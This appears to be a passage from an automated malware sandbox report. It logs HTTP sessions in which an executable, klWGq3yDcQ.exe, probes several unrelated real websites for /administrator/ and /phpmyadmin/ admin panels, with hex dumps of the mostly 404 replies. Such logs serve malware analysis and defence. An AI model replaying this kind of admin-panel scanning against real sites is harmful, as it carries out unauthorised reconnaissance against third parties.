2023-11-26 05:59:33 UTC	925	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 35 35 34 32 37 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 38 36 34 30 30 2c 20 70 75 62 6c 69 63 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 45 74 61 67 3a 20 57 2f 22 31 37 30 30 39 37 37 31 38 37 22 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 31 39 20 4e 6f 76 20 31 39 37 38 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 Data Ascii: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 55427Cache-Control: max-age=86400, publicContent-Language: enContent-Type: text/html; charset=UTF-8Etag: W/"1700977187"Expires: Sun, 19 Nov 1978 05:00:00 GMTLast-Modified: Sun, 26 Nov
2023-11-26 05:59:33 UTC	1368	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 Data Ascii: <!DOCTYPE html><html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema
2023-11-26 05:59:33 UTC	1368	IN	Data Raw: 69 6f 6e 49 44 3a 76 6f 69 64 20 30 2c 73 61 3a 76 6f 69 64 20 30 2c 71 75 65 75 65 54 69 6d 65 3a 76 6f 69 64 20 30 2c 61 70 70 6c 69 63 61 74 69 6f 6e 54 69 6d 65 3a 76 6f 69 64 20 30 2c 74 74 47 75 69 64 3a 76 6f 69 64 20 30 2c 75 73 65 72 3a 76 6f 69 64 20 30 2c 61 63 63 6f 75 6e 74 3a 76 6f 69 64 20 30 2c 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 Data Ascii: ionID:void 0,sa:void 0,queueTime:void 0,applicationTime:void 0,ttGuid:void 0,user:void 0,account:void 0,product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw
2023-11-26 05:59:33 UTC	1368	IN	Data Raw: 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 6d 65 74 72 69 63 73 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 61 63 74 69 6f 6e 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d Data Ascii: ed:!0,harvestTimeSeconds:10,autoStart:!0},metrics:{enabled:!0,autoStart:!0},page_action:{enabled:!0,harvestTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0}
2023-11-26 05:59:33 UTC	1368	IN	Data Raw: 70 3d 22 41 6c 6c 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 3b 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 69 66 28 21 67 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 Data Ascii: p="All configuration objects require an agent identifier!";function h(e){if(!e)throw new Error(p);if(!g[e])throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0
2023-11-26 05:59:33 UTC	1368	IN	Data Raw: 2c 45 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 45 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 Data Ascii: ,E={};function j(e){if(!e)throw new Error("All runtime objects require an agent identifier!");if(!E[e])throw new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent ident
2023-11-26 05:59:33 UTC	1368	IN	Data Raw: 3d 3e 61 2c 63 76 3a 28 29 3d 3e 6c 2c 69 53 3a 28 29 3d 3e 6f 2c 69 6c 3a 28 29 3d 3e 72 2c 75 78 3a 28 29 3d 3e 63 2c 76 36 3a 28 29 3d 3e 69 2c 77 31 3a 28 29 3d 3e 75 7d 29 3b 63 6f 6e 73 74 20 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 21 21 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 Data Ascii: =>a,cv:()=>l,iS:()=>o,il:()=>r,ux:()=>c,v6:()=>i,w1:()=>u});const r="undefined"!=typeof window&&!!window.document,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNaviga
2023-11-26 05:59:33 UTC	1368	IN	Data Raw: 65 73 28 74 29 26 26 28 74 68 69 73 2e 73 68 61 72 65 64 43 6f 6e 74 65 78 74 5b 74 5d 3d 6e 29 7d 29 29 7d 63 61 74 63 68 28 65 29 7b 28 30 2c 72 2e 5a 29 28 22 41 6e 20 65 72 72 6f 72 20 6f 63 63 75 72 65 64 20 77 68 69 6c 65 20 73 65 74 74 69 6e 67 20 53 68 61 72 65 64 43 6f 6e 74 65 78 74 22 2c 65 29 7d 7d 7d 7d 2c 38 65 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 Data Ascii: es(t)&&(this.sharedContext[t]=n)}))}catch(e){(0,r.Z)("An error occured while setting SharedContext",e)}}}},8e3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priori
2023-11-26 05:59:33 UTC	1368	IN	Data Raw: 7b 7d 76 61 72 20 67 3d 7b 6f 6e 3a 68 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3a 68 2c 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 72 5b 65 5d 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 3b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 Data Ascii: {}var g={on:h,addEventListener:h,removeEventListener:function(e,t){var n=r[e];if(!n)return;for(var i=0;i<n.length;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.le
2023-11-26 05:59:33 UTC	1368	IN	Data Raw: 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 62 50 3a 28 29 3d 3e 73 2c 69 7a 3a 28 29 3d 3e 63 2c 6d 24 3a 28 29 3d 3e 6f 7d 29 3b 76 61 72 20 72 3d 6e 28 33 38 35 29 3b 6c 65 74 20 69 3d 21 31 2c 61 3d 21 31 3b 74 72 79 7b 63 6f 6e 73 74 20 65 3d 7b 67 65 74 20 70 61 73 73 69 76 65 28 29 7b 72 65 74 75 72 6e 20 69 3d 21 30 2c 21 31 7d 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c Data Ascii: rict";n.d(t,{bP:()=>s,iz:()=>c,m$:()=>o});var r=n(385);let i=!1,a=!1;try{const e={get passive(){return i=!0,!1},get signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	57780	13.32.208.27	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	181	OUT	GET /administrator/ HTTP/1.1 Host: www.perrisesd.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	1145	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 36 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 49 49 53 2f 31 30 2e 30 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Content-Length: 3067Connection: closeDate: Sun, 26 Nov 2023 05:59:33 GMTCache-Control: privateServer: Microsoft-IIS/10.0Strict-Transport-Security: max-age=31536000; includeSubDomain
2023-11-26 05:59:33 UTC	3067	IN	Data Raw: 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 65 72 72 69 73 65 73 64 2e 6f 72 67 2f 53 74 61 74 69 63 2f 2f 73 69 74 65 2f 61 73 73 65 74 73 2f 53 74 79 6c 65 73 2f 73 79 73 74 65 6d 5f 32 37 34 31 2e 63 73 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 Data Ascii: <html><head> <link rel="Stylesheet" type="text/css" href="https://www.perrisesd.org/Static//site/assets/Styles/system_2741.css" /> <title>Error 404 - Page Not Found</title> <style type="text/css"> @font-face { font

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	57660	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	224	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip Cookie: OF=rbm97dnas60169fmufv15tpfb5 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	535	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 74 72 61 6e 73 66 65 72 2d 65 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 6b 38 73 70 65 72 73 69 73 74 65 6e 74 3d 64 62 63 65 30 34 33 66 64 35 37 37 33 65 34 36 31 31 35 39 30 35 63 66 31 61 36 39 39 32 62 38 7c 31 31 66 31 38 37 36 33 38 36 34 33 65 31 33 64 37 62 64 31 39 36 33 39 39 31 66 61 63 35 32 62 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 32 38 2d 4e 6f 76 2d 32 33 20 30 35 3a 35 39 3a 33 33 20 47 Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:34 GMTcontent-type: text/html; charset=utf-8transfer-encoding: chunkedset-cookie: k8spersistent=dbce043fd5773e46115905cf1a6992b8\|11f187638643e13d7bd1963991fac52b; Expires=Tue, 28-Nov-23 05:59:33 G
2023-11-26 05:59:34 UTC	10516	IN	Data Raw: 32 39 30 43 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6e 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 42 65 61 63 68 20 52 65 63 72 75 69 74 6d 65 6e 74 20 42 2e 56 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 63 72 69 70 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 4a 61 76 61 73 63 72 69 70 74 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 74 79 6c 65 2d 54 79 70 65 22 20 Data Ascii: 290C<!DOCTYPE html><html lang="nl"><head><title>Beach Recruitment B.V.</title><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"><meta http-equiv="Content-Script-Type" content="text/Javascript"><meta http-equiv="Content-Style-Type"
2023-11-26 05:59:34 UTC	16293	IN	Data Raw: 33 46 39 44 0d 0a 65 73 3c 2f 53 54 52 49 4b 45 3e 3c 2f 41 3e 3c 2f 50 3e 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 4c 49 4e 4b 53 2d 2d 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 61 67 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 77 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 63 72 6f 6c 6c 64 6f 77 6e 22 3e 0a 20 20 20 20 20 20 20 20 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 73 63 72 6f 6c 6c 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 3c 2f 68 65 Data Ascii: 3F9Des</STRIKE></A></P></div></div></div>...LINKS--></div></div><div class="pager"><div class="sw"></div></div><div id="scrolldown"> <div class="icon-scroll"></div> </div></div></he
2023-11-26 05:59:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	57697	72.167.58.161	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	172	OUT	GET /phpmyadmin/ HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	275	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTServer: ApacheContent-Security-Policy: upgrade-insecure-requests;Upgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesVary: Accept-EncodingTransfer-Encoding: chunkedContent
2023-11-26 05:59:33 UTC	648	IN	Data Raw: 32 37 63 0d 0a 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 4f 4f 50 53 21 20 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 62 65 65 6e 20 0d 0a 72 65 6d 6f 76 65 64 20 6f 72 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 0d 0a 46 65 65 6c 20 66 72 65 65 20 74 6f 20 72 65 61 64 20 74 68 65 20 6d 61 6e 79 20 6f 74 68 65 72 20 61 72 74 69 63 6c 65 73 20 61 76 61 69 6c 61 62 6c 65 20 61 74 20 0d 0a 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 0d 0a 3c 21 2d 2d 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 27c/phpmyadmin/OOPS! Something went wrong. The page you requested has been removed or is currently under maintenance.Feel free to read the many other articles available at https://webstamp.ca...

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	57703	81.19.159.64	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	184	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.grg17geblergasse.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:35 UTC	361	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 55 70 67 72 61 64 65 3a 20 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.grg17geblergasse.at/wp-json/>; rel="https://api.w.org/"Upgrade:
